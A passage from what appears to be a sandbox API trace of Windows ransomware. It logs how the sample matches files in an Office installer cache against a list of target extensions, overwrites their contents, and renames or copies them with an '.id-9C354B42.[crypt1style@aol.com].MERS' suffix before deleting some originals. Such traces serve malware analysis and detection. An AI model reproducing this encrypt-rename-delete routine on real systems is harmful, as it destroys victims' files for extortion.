Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0046.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.653] lstrlenW (lpString=".doc") returned 4 [0046.653] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.653] lstrlenW (lpString=".docx") returned 5 [0046.653] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.653] lstrlenW (lpString=".pdf") returned 4 [0046.653] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.654] lstrlenW (lpString=".xls") returned 4 [0046.654] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.654] lstrlenW (lpString=".xlsx") returned 5 [0046.654] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.654] lstrlenW (lpString=".ppt") returned 4 [0046.654] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.654] lstrlenW (lpString=".zip") returned 4 [0046.654] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.654] lstrlenW (lpString=".rar") returned 4 [0046.654] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString=".bz2") returned 4 [0046.655] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.655] lstrlenW (lpString=".7z") returned 3 [0046.655] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.655] lstrlenW (lpString=".dbf") returned 4 [0046.655] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.655] lstrlenW (lpString=".1cd") returned 4 [0046.655] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.655] lstrlenW (lpString=".jpg") returned 4 [0046.655] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.655] lstrlenW (lpString=".doc") returned 4 [0046.655] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString=".docx") returned 5 [0046.655] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.655] lstrlenW (lpString=".pdf") returned 4 [0046.655] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString=".xls") returned 4 [0046.655] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString=".xlsx") returned 5 [0046.655] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.655] lstrlenW (lpString=".ppt") returned 4 [0046.655] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.655] lstrlenW (lpString=".zip") returned 4 [0046.655] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.656] lstrlenW (lpString=".rar") returned 4 [0046.656] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.656] lstrlenW (lpString=".bz2") returned 4 [0046.656] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.656] lstrlenW (lpString=".7z") returned 3 [0046.656] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.656] lstrlenW (lpString=".dbf") returned 4 [0046.656] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.656] lstrlenW (lpString=".1cd") returned 4 [0046.656] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.656] lstrlenW (lpString=".jpg") returned 4 [0046.656] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.656] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0046.656] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0046.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0046.656] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=27532288) returned 1 [0046.656] CloseHandle (hObject=0x1a4) returned 1 [0046.657] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0046.657] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.657] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0046.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0046.658] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.658] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.658] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.763] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.763] ReadFile (in: hFile=0x1a4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.128] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.128] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.128] ReadFile (in: hFile=0x1a4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.157] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.157] WriteFile (in: hFile=0x1a4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.176] SetEndOfFile (hFile=0x1a4) returned 1 [0047.176] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0047.182] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.182] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.182] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.182] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.185] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.185] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.187] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0047.187] CloseHandle (hObject=0x1a4) returned 1 [0047.188] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.188] lstrlenW (lpString=".doc") returned 4 [0047.188] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.188] lstrlenW (lpString=".docx") returned 5 [0047.188] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.188] lstrlenW (lpString=".pdf") returned 4 [0047.188] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.188] lstrlenW (lpString=".xls") returned 4 [0047.188] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.188] lstrlenW (lpString=".xlsx") returned 5 [0047.188] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.188] lstrlenW (lpString=".ppt") returned 4 [0047.188] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.188] lstrlenW (lpString=".zip") returned 4 [0047.188] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.188] lstrlenW (lpString=".rar") returned 4 [0047.188] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.188] lstrlenW (lpString=".bz2") returned 4 [0047.188] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.188] lstrlenW (lpString=".7z") returned 3 [0047.188] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.188] lstrlenW (lpString=".dbf") returned 4 [0047.188] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.188] lstrlenW (lpString=".1cd") returned 4 [0047.189] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString=".jpg") returned 4 [0047.189] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString=".doc") returned 4 [0047.189] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.189] lstrlenW (lpString=".docx") returned 5 [0047.189] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.189] lstrlenW (lpString=".pdf") returned 4 [0047.189] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.189] lstrlenW (lpString=".xls") returned 4 [0047.189] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.189] lstrlenW (lpString=".xlsx") returned 5 [0047.189] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.189] lstrlenW (lpString=".ppt") returned 4 [0047.189] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString=".zip") returned 4 [0047.189] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.189] lstrlenW (lpString=".rar") returned 4 [0047.189] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.189] lstrlenW (lpString=".bz2") returned 4 [0047.189] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.189] lstrlenW (lpString=".7z") returned 3 [0047.189] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString=".dbf") returned 4 [0047.189] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString=".1cd") returned 4 [0047.189] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.189] lstrlenW (lpString=".jpg") returned 4 [0047.189] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.190] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0047.190] lstrlenW (lpString="setup.exe") returned 9 [0047.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.190] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1377656) returned 1 [0047.190] CloseHandle (hObject=0x1a4) returned 1 [0047.190] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0047.190] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.190] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.190] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0047.191] GetLastError () returned 0x0 [0047.191] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0047.225] WriteFile (in: hFile=0x1c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.487] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x50588, lpOverlapped=0x0) returned 1 [0047.498] WriteFile (in: hFile=0x1c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0047.515] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.515] WriteFile (in: hFile=0x1c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.516] SetEndOfFile (hFile=0x1c4) returned 1 [0047.516] CloseHandle (hObject=0x1c4) returned 1 [0047.516] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.516] SetEndOfFile (hFile=0x1a4) returned 1 [0047.822] CloseHandle (hObject=0x1a4) returned 1 [0047.822] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.822] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.823] lstrlenW (lpString=".doc") returned 4 [0047.823] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.823] lstrlenW (lpString=".docx") returned 5 [0047.823] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0047.823] lstrlenW (lpString=".pdf") returned 4 [0047.823] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.823] lstrlenW (lpString=".xls") returned 4 [0047.823] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.823] lstrlenW (lpString=".xlsx") returned 5 [0047.823] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0047.823] lstrlenW (lpString=".ppt") returned 4 [0047.823] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.823] lstrlenW (lpString=".zip") returned 4 [0047.823] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.823] lstrlenW (lpString=".rar") returned 4 [0047.823] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.823] lstrlenW (lpString=".bz2") returned 4 [0047.823] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.823] lstrlenW (lpString=".7z") returned 3 [0047.823] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.823] lstrlenW (lpString=".dbf") returned 4 [0047.823] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.823] lstrlenW (lpString=".1cd") returned 4 [0047.823] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.824] lstrlenW (lpString=".jpg") returned 4 [0047.824] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.824] lstrlenW (lpString=".doc") returned 4 [0047.824] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.824] lstrlenW (lpString=".docx") returned 5 [0047.824] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0047.824] lstrlenW (lpString=".pdf") returned 4 [0047.824] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.824] lstrlenW (lpString=".xls") returned 4 [0047.824] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.824] lstrlenW (lpString=".xlsx") returned 5 [0047.824] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0047.824] lstrlenW (lpString=".ppt") returned 4 [0047.824] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.824] lstrlenW (lpString=".zip") returned 4 [0047.824] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.824] lstrlenW (lpString=".rar") returned 4 [0047.824] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.824] lstrlenW (lpString=".bz2") returned 4 [0047.824] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.824] lstrlenW (lpString=".7z") returned 3 [0047.824] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.824] lstrlenW (lpString=".dbf") returned 4 [0047.825] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.825] lstrlenW (lpString=".1cd") returned 4 [0047.825] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.825] lstrlenW (lpString=".jpg") returned 4 [0047.825] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.825] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0047.825] lstrlenW (lpString="PidGenX.dll") returned 11 [0047.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.865] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1463568) returned 1 [0047.865] CloseHandle (hObject=0x1e8) returned 1 [0047.865] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0047.865] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.865] CreateFileW (lpFileName="C:\\MSOCache\\All 